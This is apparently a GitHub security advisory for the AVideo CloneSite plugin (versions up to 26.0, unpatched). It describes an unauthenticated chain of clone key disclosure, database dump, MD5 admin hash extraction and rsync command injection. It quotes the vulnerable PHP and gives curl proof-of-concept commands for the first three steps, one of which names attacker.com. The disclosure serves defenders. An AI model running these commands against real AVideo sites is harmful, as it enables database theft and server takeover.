GitHub Security Advisory: GHSA-687q-32c6-8x68
Package: wwbn/avideo (COMPOSER)
Severity: CRITICAL (CVSS 10.0)
CWE: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), CWE-284: Improper Access Control
Vulnerable versions: <= 26.0
Patched in: unpatched

Summary: AVideo Multi-Chain Attack: Unauthenticated Remote Code Execution via Clone Key Disclosure, Database Dump, and Command Injection

Details:
## Summary

Multiple vulnerabilities in AVideo's CloneSite plugin chain together to allow a completely unauthenticated attacker to achieve remote code execution. The `clones.json.php` endpoint exposes clone secret keys without authentication, which can be used to trigger a full database dump via `cloneServer.json.php`. The dump contains admin password hashes stored as MD5, which are trivially crackable. With admin access, the attacker exploits an OS command injection in the rsync command construction in `cloneClient.json.php` to execute arbitrary system commands.

## Details

### Step 1: Clone Key Disclosure

`plugin/CloneSite/clones.json.php:1-8` has zero authentication:

```php
<?php
require_once '../../videos/configuration.php';
require_once $global['systemRootPath'] . 'plugin/CloneSite/Objects/Clones.php';
header('Content-Type: application/json');
$rows = Clones::getAll();
?>
{"data": <?php echo json_encode($rows); ?>}
```

The response includes the `key` field for every registered clone, which is the sole authentication credential for clone operations.

### Step 2: Database Dump via Stolen Key

`plugin/CloneSite/cloneServer.json.php:73-97` — once the key passes `Clones::thisURLCanCloneMe()`, the server executes `mysqldump` and writes the result to a web-accessible directory:

```php
$cmd = "mysqldump -u {$mysqlUser} -p'{$mysqlPass}' --host {$mysqlHost} "
    ." --default-character-set=utf8mb4 {$mysqlDatabase} {$tablesList} > $sqlFile";
exec($cmd . " 2>&1", $output, $return_val);
```

The SQL file path is returned in the JSON response and is downloadable.

### Step 3: Admin Credential Extraction

`objects/user.php:1798` — passwords are stored as unsalted MD5:

```php
$passEncoded = md5($pass);
```

The `users` table in the dump contains `user`, `password` (MD5), and `isAdmin` fields. MD5 hashes crack in seconds.

### Step 4: Command Injection via Rsync

`plugin/CloneSite/cloneClient.json.php:259` — the `videosDir` from the clone server response is interpolated unsanitized into the rsync command:

```php
$rsync = "sshpass -p '{password}' rsync -av ... {$objClone->cloneSiteSSHUser}@{$objClone->cloneSiteSSHIP}:{$json->videosDir} ...";
exec($cmd . " 2>&1", $output, $return_val);
```

An admin who controls a clone server (or an attacker who has become admin) can inject arbitrary commands via the `videosDir` field.

## PoC

```bash
# Step 1: Steal clone keys (unauthenticated)
curl -s 'http://target/plugin/CloneSite/clones.json.php' | jq '.data[0].key'
# Output: "a1b2c3d4e5f6..."

# Step 2: Trigger database dump
CLONE_KEY="a1b2c3d4e5f6..."
curl -s "http://target/plugin/CloneSite/cloneServer.json.php" \
  --data "url=http://attacker.com&key=${CLONE_KEY}&useRsync=0" | jq '.sqlFile'
# Output: "Clone_mysqlDump_[PII_REDACTED].sql"

# Step 3: Download the dump and extract admin credentials
curl -s "http://target/videos/clones/Clone_mysqlDump_[PII_REDACTED].sql" \
  | grep -A2 "INSERT INTO.*users" \
  | grep -oP "admin','[a-f0-9]{32}"
# Output: admin','5f4dcc3b5aa